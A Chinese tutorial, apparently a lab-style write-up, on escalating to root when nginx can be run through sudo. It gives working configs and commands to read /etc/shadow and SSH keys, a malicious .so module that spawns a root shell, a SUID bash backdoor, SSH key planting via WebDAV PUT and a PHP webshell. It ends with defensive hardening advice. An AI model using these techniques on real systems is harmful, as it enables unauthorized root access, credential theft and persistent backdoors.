本文主要讲解关于Nginx配置文件提权的实战指南相关内容,由优网导航(www.uonce.com)提供,欢迎关注收藏本站!
在现代 Linux 系统中,nginx 通常作为 Web 服务的核心组件运行,其支持的模块化配置、灵活的路径设置以及多样的文件解析能力,为渗透测试人员在本地提权过程中提供了丰富的攻击面。
本文结合一次真实场景,对 nginx 在具有 sudo 权限的情况下,如何通过配置文件完成提权操作进行深入剖析,涵盖 任意文件读取、模块加载执行、本地提权、远程命令执行等关键链路。

站长导航
优网导航旗下汇集全网优质站长工具,一站式站长工具大全导航网站
场景复现
目标系统中,普通用户 mikannse 通过 sudo -l 被发现拥有以下权限:
User mikannse may run the following commands on Config:
(ALL : ALL) NOPASSWD: /usr/sbin/nginx
该权限意味着:mikannse 用户可以以 root 身份运行nginx,那么我们就可以利用nginx配置文件来提权。

AI 工具导航
优网导航旗下AI工具导航,精选全球千款优质 AI 工具集
利用链一:任意文件读取(信息泄露)
原理说明
Nginx 中的 root 指令和 location 配置可以将系统任意目录暴露为 Web 路径,当以 user root; 身份启动 nginx 时,即可突破系统权限访问敏感文件。
恶意配置示例
user root;
events {}
http {
server {
listen 8080;
location / {
root /;
autoindex on;
}
}
}

免费在线工具导航
优网导航旗下整合全网优质免费、免注册的在线工具导航大全
效果验证
通过浏览器或 curl 工具访问:
curl http://127.0.0.1:8080/root/.ssh/id_rsa curl http://127.0.0.1:8080/etc/shadow
可直接读取系统中的任意文件,包括 私钥、shadow 文件、历史命令记录等敏感信息。
利用链二:动态模块加载提权(本地权限提升)
原理说明
Nginx 支持通过 load_module 加载 .so 动态链接库模块,而这些模块本质上是标准的 ELF 文件,可以包含任意 C 语言构造函数代码。一旦以 root 身份加载,便可执行任意系统命令。
依赖条件
- 系统具备
gcc编译环境 - 当前用户拥有写入配置与模块的权限
- 拥有以 root 身份加载配置的能力(sudo)
构造流程
编写模块代码(rootme.c):
#include <unistd.h>
#include <stdlib.h>
__attribute__((constructor))
void pwn() {
setuid(0); setgid(0);
system("/bin/bash -p");
}
编译为动态模块:
gcc -fPIC -shared -o /home/mikannse/rootme.so rootme.c
编写恶意 nginx 配置文件(mikannse.conf):
load_module /home/mikannse/rootme.so;
events {}
http {}
启动 nginx 加载模块:
sudo /usr/sbin/nginx -c /home/mikannse/mikannse.conf
一旦模块被加载,构造函数立即触发,执行 /bin/bash -p,直接获得一个 root shell。
提示
模块执行方式是立即型的,若不希望 nginx 守护进程化导致 shell 消失,可在模块中执行持久化操作,如写入 SUID 文件:
system("cp /bin/bash /tmp/rootbash && chmod +s /tmp/rootbash");
利用链三:任意文件写入(PUT 方法 + 持久化)
原理说明
Nginx 支持通过 ngx_http_dav_module 开启 WebDAV PUT 功能,实现 HTTP 请求写入本地文件。攻击者可通过此方式将 payload 写入系统敏感位置(如 .ssh/authorized_keys、/etc/passwd、/etc/sudoers 等),从而实现持久化控制或提权。
示例配置:
user root;
events {}
http {
server {
listen 8081;
location /upload/ {
root /root/.ssh/;
dav_methods PUT;
create_full_put_path on;
client_body_temp_path /tmp;
}
}
}
利用方法:
上传 SSH 公钥:
curl -T id_rsa.pub http://127.0.0.1:8081/upload/authorized_keys
然后使用对应私钥 SSH 登录获取 root 权限。
利用链四:启用脚本解析(远程命令执行)
原理说明
如果目标系统安装了 PHP 与 php-fpm,攻击者可将 nginx 配置为支持 .php 脚本解析,通过上传 webshell 实现 RCE(远程命令执行)。
示例配置:
user root;
events {}
http {
server {
listen 8082;
root /home/mikannse/www;
index index.php;
location ~ .php$ {
fastcgi_pass unix:/run/php/php7.4-fpm.sock;
fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;
include fastcgi_params;
}
}
}
上传 PHP Webshell:
<?php system($_GET['cmd']); ?>
访问:
http://127.0.0.1:8082/shell.php?cmd=id
即可实现任意系统命令执行。
利用链对比总结
| 利用方式 | 所需条件 | 影响范围 | 持久化能力 |
|---|---|---|---|
| 任意文件读取 | user root + 监听端口 | 整个系统文件 | ❌ |
| 模块加载提权 | gcc + sudo 启动 nginx | 获得 root shell | ✅(写入 suid) |
| PUT 文件写入 | dav_methods 开启 | 写入任意系统路径 | ✅(植入 key) |
| 脚本执行 RCE | 安装 php-fpm | 执行任意命令 | ✅ |
防御建议
从防守角度出发,针对上述攻击链提出以下建议:
最小化 sudo 权限:
- 严格限制
sudo nginx -c权限,仅授予可信用户或采用 wrapper 限定路径。
禁用模块加载功能:
- 在编译 nginx 时禁用
--with-dynamic-module。 - 或配置
/usr/sbin/nginx为不可执行模块加载路径。
删除开发工具链:
- 移除生产环境中不必要的
gcc、make,降低本地模块构造能力。
配置最小权限用户运行 nginx:
- 避免使用
user root启动服务,限制文件系统访问权限。
禁止 PUT/DAV 写入:
- 禁用
dav_methods,关闭 nginx 对 HTTP PUT 的支持。
强化 PHP-FPM 安全配置:
- 禁止处理未知目录或不受信任路径。
- 启用 open_basedir 限制。
结语
nginx 是一个功能强大但配置灵活的 Web 服务器,其 -c 参数在拥有 sudo 权限时可能带来严重的安全隐患。一旦攻击者能加载自定义配置文件,将可能导致从文件泄露、系统提权到远程代码执行的一整条攻击链成立。
在安全加固方面,企业应以“最小权限原则”和“攻击面最小化”为核心,避免将复杂服务的控制权下放至普通用户层级,及时审计和收敛类似配置权限,降低被攻击面。
以上就是Nginx配置文件提权的实战指南的详细内容,更多关于Nginx配置文件提权的资料请关注优网导航其它相关文章!
本文主要讲解关于站长必备的最齐全的301转向代码合集相关内容,由优网导航(www.uonce.com)提供,欢迎关注收藏本站!将SEO工作中所需要的301转向代码进行了整理,收藏并分享,以备查阅。 1、IIS下301设置 Internet信息服务管理器 -&g…



